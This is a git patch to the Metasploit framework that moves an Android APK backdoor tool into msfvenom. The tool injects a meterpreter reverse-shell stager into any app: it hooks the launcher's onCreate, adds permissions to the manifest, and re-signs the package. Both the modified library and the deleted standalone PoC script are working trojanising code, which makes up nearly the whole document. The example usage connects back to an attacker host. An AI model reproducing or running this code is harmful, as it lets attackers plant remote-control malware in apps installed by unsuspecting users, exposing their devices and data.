From eeea4bde9d68256b092e643caa3ed83538495ff3 Mon Sep 17 00:00:00 2001 From: Tim Date: Tue, 22 Dec 2015 15:58:27 +0000 Subject: [PATCH] integrate ./msfvenom -x for android payloads --- lib/msf/core/payload/apk.rb | 98 ++++-------- lib/msf/core/payload_generator.rb | 6 +- tools/exploit/apk_backdoor.rb | 255 ------------------------------ 3 files changed, 36 insertions(+), 323 deletions(-) delete mode 100755 tools/exploit/apk_backdoor.rb diff --git a/lib/msf/core/payload/apk.rb b/lib/msf/core/payload/apk.rb index bdfdb4421d..107d70d5b7 100644 --- a/lib/msf/core/payload/apk.rb +++ b/lib/msf/core/payload/apk.rb @@ -1,6 +1,7 @@ # -*- coding: binary -*- require 'msf/core' +require 'rex/text' require 'tmpdir' require 'nokogiri' require 'fileutils' @@ -9,6 +10,21 @@ require 'open3' module Msf::Payload::Apk + class ApkBackdoor + include Msf::Payload::Apk + def backdoor_apk(apk, payload) + backdoor_payload(apk, payload) + end + end + + def print_status(msg='') + $stderr.puts "[*] #{msg}" + end + + def print_error(msf='') + $stderr.puts "[-] #{msg}" + end + def usage print_error "Usage: #{$0} [target.apk] [msfvenom options]\n" print_error "e.g. #{$0} messenger.apk -p android/meterpreter/reverse_https LHOST=192.168.1.1 LPORT=8443\n" @@ -46,46 +62,6 @@ module Msf::Payload::Apk end end - # If XML parsing of the manifest fails, recursively search - # the smali code for the onCreate() hook and let the user - # pick the injection point - - def scrape_files_for_launcher_activity(tempdir) - smali_files||=[] - Dir.glob("#{tempdir}/original/smali*/**/*.smali") do |file| - checkFile=File.read(file) - if (checkFile.include?";->onCreate(Landroid/os/Bundle;)V") - smali_files << file - smalifile = file - activitysmali = checkFile - end - end - i=0 - print_status "[*] Please choose from one of the following:\n" - smali_files.each{|s_file| - print_status "[+] Hook point ",i,": ",s_file,"\n" - i+=1 - } - hook=-1 - while (hook < 0 || hook>i) - print_status "\nHook: " - hook = STDIN.gets.chomp.to_i - end - i=0 - smalifile="" - activitysmali="" - smali_files.each{|s_file| - if (i==hook) - checkFile=File.read(s_file) - smalifile=s_file - activitysmali = checkFile - break - end - i+=1 - } - return [smalifile,activitysmali] - end - def fix_manifest(tempdir) payload_permissions=[] @@ -119,7 +95,7 @@ module Msf::Payload::Apk add_permissions=[] for permission in payload_permissions if !(original_permissions.include? permission) - print_status "[*] Adding #{permission}\n" + print_status("Adding #{permission}") add_permissions << permission end end @@ -149,19 +125,19 @@ module Msf::Payload::Apk jarsigner = run_cmd("jarsigner") unless jarsigner != nil - print_error "[-] jarsigner not found. If it's not in your PATH, please add it.\n" + print_error("jarsigner not found. If it's not in your PATH, please add it.") exit(1) end apktool = run_cmd("apktool -version") unless apktool != nil - print_error "[-] apktool not found. If it's not in your PATH, please add it.\n" + print_error "apktool not found. If it's not in your PATH, please add it." exit(1) end apk_v = Gem::Version.new(apktool) unless apk_v >= Gem::Version.new('2.0.1') - print_error "[-] apktool version #{apk_v} not supported, please download at least version 2.0.1.\n" + print_error "apktool version #{apk_v} not supported, please download at least version 2.0.1." exit(1) end @@ -171,54 +147,46 @@ module Msf::Payload::Apk File.open("#{tempdir}/payload.apk", "wb") {|file| file.puts raw_payload } FileUtils.cp apkfile, "#{tempdir}/original.apk" - print_status "[*] Decompiling original APK..\n" + print_status "Decompiling original APK..\n" run_cmd("apktool d #{tempdir}/original.apk -o #{tempdir}/original") - print_status "[*] Decompiling payload APK..\n" + print_status "Decompiling payload APK..\n" run_cmd("apktool d #{tempdir}/payload.apk -o #{tempdir}/payload") f = File.open("#{tempdir}/original/AndroidManifest.xml") amanifest = Nokogiri::XML(f) f.close - print_status "[*] Locating onCreate() hook..\n" + print_status "Locating onCreate() hook..\n" launcheractivity = find_launcher_activity(amanifest) smalifile = "#{tempdir}/original/smali/" + launcheractivity.gsub(/\./, "/") + ".smali" begin activitysmali = File.read(smalifile) rescue Errno::ENOENT - print_status "[!] Unable to find correct hook automatically\n" - begin - results=scrape_files_for_launcher_activity(tempdir) - smalifile=results[0] - activitysmali=results[1] - rescue - print_error "[-] Error finding launcher activity. Exiting" - exit(1) - end + print_status "Unable to find correct hook automatically\n" + exit end - print_status "[*] Copying payload files..\n" + print_status "Copying payload files..\n" FileUtils.mkdir_p("#{tempdir}/original/smali/com/metasploit/stage/") FileUtils.cp Dir.glob("#{tempdir}/payload/smali/com/metasploit/stage/Payload*.smali"), "#{tempdir}/original/smali/com/metasploit/stage/" activitycreate = ';->onCreate(Landroid/os/Bundle;)V' payloadhook = activitycreate + "\n invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V" hookedsmali = activitysmali.gsub(activitycreate, payloadhook) - print_status "[*] Loading ",smalifile," and injecting payload..\n" + print_status "Loading #{smalifile} and injecting payload..\n" File.open(smalifile, "wb") {|file| file.puts hookedsmali } - injected_apk = apkfile.sub('.apk', '_backdoored.apk') - - print_status "[*] Poisoning the manifest with meterpreter permissions..\n" + injected_apk = "#{tempdir}/output.apk" + print_status "Poisoning the manifest with meterpreter permissions..\n" fix_manifest(tempdir) - print_status "[*] Rebuilding #{apkfile} with meterpreter injection as #{injected_apk}\n" + print_status "Rebuilding #{apkfile} with meterpreter injection as #{injected_apk}\n" run_cmd("apktool b -o #{injected_apk} #{tempdir}/original") - print_status "[*] Signing #{injected_apk}\n" + print_status "Signing #{injected_apk}\n" run_cmd("jarsigner -verbose -keystore ~/.android/debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg MD5withRSA #{injected_apk} androiddebugkey") + outputapk = File.read(injected_apk) + rescue FileUtils.remove_entry tempdir - - puts "[+] Infected file #{injected_apk} ready.\n" end end diff --git a/lib/msf/core/payload_generator.rb b/lib/msf/core/payload_generator.rb index b051bbc97e..11434d52e4 100644 --- a/lib/msf/core/payload_generator.rb +++ b/lib/msf/core/payload_generator.rb @@ -310,9 +310,9 @@ module Msf cli_print "Payload size: #{raw_payload.length} bytes" raw_payload elsif payload.start_with? "android/" - cli_print "Using template: #{template}" - - raw_payload = generate_raw_payload + cli_print "Using APK template: #{template}" + apk_backdoor = ::Msf::Payload::Apk::ApkBackdoor::new() + raw_payload = apk_backdoor.backdoor_apk(template, generate_raw_payload) cli_print "Payload size: #{raw_payload.length} bytes" raw_payload else diff --git a/tools/exploit/apk_backdoor.rb b/tools/exploit/apk_backdoor.rb deleted file mode 100755 index fd6e2ca56d..0000000000 --- a/tools/exploit/apk_backdoor.rb +++ /dev/null @@ -1,255 +0,0 @@ -#!/usr/bin/env ruby -# -# This script is a POC for injecting metasploit payloads on -# arbitrary APKs. -# Authored by timwr, Jack64 -# - -require 'tmpdir' -require 'nokogiri' -require 'fileutils' -require 'optparse' -require 'open3' - -def usage - $stderr.puts "Usage: #{$0} [target.apk] [msfvenom options]\n" - $stderr.puts "e.g. #{$0} messenger.apk -p android/meterpreter/reverse_https LHOST=192.168.1.1 LPORT=8443\n" -end - -def run_cmd(cmd) - begin - stdin, stdout, stderr = Open3.popen3(cmd) - return stdout.read + stderr.read - rescue Errno::ENOENT - return nil - end -end - - -# Find the activity that is opened when you click the app icon -def find_launcher_activity(amanifest) - package = amanifest.xpath("//manifest").first['package'] - activities = amanifest.xpath("//activity|//activity-alias") - for activity in activities - activityname = activity.attribute("name") - category = activity.search('category') - unless category - next - end - for cat in category - categoryname = cat.attribute('name') - if (categoryname.to_s == 'android.intent.category.LAUNCHER' || categoryname.to_s == 'android.intent.action.MAIN') - activityname = activityname.to_s - unless activityname.start_with?(package) - activityname = package + activityname - end - return activityname - end - end - end -end - -# If XML parsing of the manifest fails, recursively search -# the smali code for the onCreate() hook and let the user -# pick the injection point - -def scrape_files_for_launcher_activity(tempdir) - smali_files||=[] - Dir.glob("#{tempdir}/original/smali*/**/*.smali") do |file| - checkFile=File.read(file) - if (checkFile.include?";->onCreate(Landroid/os/Bundle;)V") - smali_files << file - smalifile = file - activitysmali = checkFile - end - end - i=0 - print "[*] Please choose from one of the following:\n" - smali_files.each{|s_file| - print "[+] Hook point ",i,": ",s_file,"\n" - i+=1 - } - hook=-1 - while (hook < 0 || hook>i) - print "\nHook: " - hook = STDIN.gets.chomp.to_i - end - i=0 - smalifile="" - activitysmali="" - smali_files.each{|s_file| - if (i==hook) - checkFile=File.read(s_file) - smalifile=s_file - activitysmali = checkFile - break - end - i+=1 - } - return [smalifile,activitysmali] -end - -def fix_manifest(tempdir) - payload_permissions=[] - - #Load payload's permissions - File.open("#{tempdir}/payload/AndroidManifest.xml","rb"){|file| - k=File.read(file) - payload_manifest=Nokogiri::XML(k) - permissions = payload_manifest.xpath("//manifest/uses-permission") - for permission in permissions - name=permission.attribute("name") - payload_permissions << name.to_s - end - } - - original_permissions=[] - apk_mani="" - - #Load original apk's permissions - File.open("#{tempdir}/original/AndroidManifest.xml","rb"){|file2| - k=File.read(file2) - apk_mani=k - original_manifest=Nokogiri::XML(k) - permissions = original_manifest.xpath("//manifest/uses-permission") - for permission in permissions - name=permission.attribute("name") - original_permissions << name.to_s - end - } - - #Get permissions that are not in original APK - add_permissions=[] - for permission in payload_permissions - if !(original_permissions.include? permission) - print "[*] Adding #{permission}\n" - add_permissions << permission - end - end - - inject=0 - new_mani="" - #Inject permissions in original APK's manifest - for line in apk_mani.split("\n") - if (line.include? "uses-permission" and inject==0) - for permission in add_permissions - new_mani << ''+"\n" - end - new_mani << line+"\n" - inject=1 - else - new_mani << line+"\n" - end - end - File.open("#{tempdir}/original/AndroidManifest.xml", "wb") {|file| file.puts new_mani } -end - -def backdoor_payload(apkfile, raw_payload) - unless apkfile && File.readable?(apkfile) - usage - exit(1) - end - - jarsigner = run_cmd("jarsigner") - unless jarsigner != nil - $stderr.puts "[-] jarsigner not found. If it's not in your PATH, please add it.\n" - exit(1) - end - - apktool = run_cmd("apktool -version") - unless apktool != nil - $stderr.puts "[-] apktool not found. If it's not in your PATH, please add it.\n" - exit(1) - end - - apk_v = Gem::Version.new(apktool) - unless apk_v >= Gem::Version.new('2.0.1') - $stderr.puts "[-] apktool version #{apk_v} not supported, please download at least version 2.0.1.\n" - exit(1) - end - - #Create temporary directory where work will be done - tempdir = Dir.mktmpdir - - File.open("#{tempdir}/payload.apk", "wb") {|file| file.puts raw_payload } - FileUtils.cp apkfile, "#{tempdir}/original.apk" - - print "[*] Decompiling original APK..\n" - run_cmd("apktool d #{tempdir}/original.apk -o #{tempdir}/original") - print "[*] Decompiling payload APK..\n" - run_cmd("apktool d #{tempdir}/payload.apk -o #{tempdir}/payload") - - f = File.open("#{tempdir}/original/AndroidManifest.xml") - amanifest = Nokogiri::XML(f) - f.close - - print "[*] Locating onCreate() hook..\n" - - launcheractivity = find_launcher_activity(amanifest) - smalifile = "#{tempdir}/original/smali/" + launcheractivity.gsub(/\./, "/") + ".smali" - begin - activitysmali = File.read(smalifile) - rescue Errno::ENOENT - print "[!] Unable to find correct hook automatically\n" - begin - results=scrape_files_for_launcher_activity(tempdir) - smalifile=results[0] - activitysmali=results[1] - rescue - $stderr.puts "[-] Error finding launcher activity. Exiting" - exit(1) - end - end - - print "[*] Copying payload files..\n" - FileUtils.mkdir_p("#{tempdir}/original/smali/com/metasploit/stage/") - FileUtils.cp Dir.glob("#{tempdir}/payload/smali/com/metasploit/stage/Payload*.smali"), "#{tempdir}/original/smali/com/metasploit/stage/" - activitycreate = ';->onCreate(Landroid/os/Bundle;)V' - payloadhook = activitycreate + "\n invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V" - hookedsmali = activitysmali.gsub(activitycreate, payloadhook) - print "[*] Loading ",smalifile," and injecting payload..\n" - File.open(smalifile, "wb") {|file| file.puts hookedsmali } - injected_apk = apkfile.sub('.apk', '_backdoored.apk') - - print "[*] Poisoning the manifest with meterpreter permissions..\n" - fix_manifest(tempdir) - - print "[*] Rebuilding #{apkfile} with meterpreter injection as #{injected_apk}\n" - run_cmd("apktool b -o #{injected_apk} #{tempdir}/original") - print "[*] Signing #{injected_apk}\n" - run_cmd("jarsigner -verbose -keystore ~/.android/debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg MD5withRSA #{injected_apk} androiddebugkey") - - FileUtils.remove_entry tempdir - - puts "[+] Infected file #{injected_apk} ready.\n" -end - -if __FILE__ == $0 - begin - msfvenom_opts = ARGV[1,ARGV.length] - opts="" - msfvenom_opts.each{|x| - opts+=x - opts+=" " - } - rescue - $stderr.puts "[-] Error parsing msfvenom options. Exiting.\n" - usage - exit(1) - end - - print "[*] Generating msfvenom payload..\n" - msfvenom_path = File.expand_path(File.join(File.dirname(__FILE__), "..", "..", "msfvenom")) - msfvenom_command = "#{msfvenom_path} -f raw #{opts}" - begin - stdin, stdout, stderr = Open3.popen3(msfvenom_command) - payload = stdout.read - msfvenom_output = stderr.read - backdoor_payload(ARGV[0], payload) - rescue Errno::ENOENT - $stderr.puts msfvenom_output - exit(1) - end - -end -